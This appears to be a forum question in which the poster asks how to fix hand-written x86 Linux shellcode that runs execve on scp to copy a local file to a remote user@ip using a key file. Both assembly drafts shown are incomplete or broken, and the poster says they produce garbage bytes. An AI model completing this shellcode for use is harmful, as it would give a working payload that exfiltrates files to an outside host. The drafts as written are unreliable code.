I want to write a shellcode that execute a sys_execve("/usr/bin/scp","usr/bin/scp",args,NULL)
.
This is the full command:
scp -i /tmp/file -P 8989 /path/file user@ip:/home/user
The problem is that i need a lot of register (there are 6 tokens after the scp):
cdq
push edx
push user@ip:/home/user
mov edi,esp
push edx
push /path/file
mov esi,esp
push edx
push 8989
mov ecx,esp
push edx
push -P
mov eax,esp
push edx
push /tmp/file
???
push edx
push -i
???
push edx
push /usr/bin/scp
mov ebx,esp
I tried to push the registers like this:
cdq
push edx
push user@ip:/home/user
mov edi,esp
push edx
push /path/file
mov esi,esp
push edx
push 8989
mov ecx,esp
push edx
push -P
mov eax,esp
push edx
push edi
push esi
push ecx
push eax
mov ecx,esp
push edx
push /tmp/file
mov edi,esp
push edx
push -i
mov esi,esp
push edx
push /usr/bin/scp
mov ebx,esp
push edx
push ecx
push edi
push esi
push ebx
mov ecx,esp
int 0x80
But using gdb and libemu i saw that were produces only garbage bytes.
Any hint on how to solve this problem?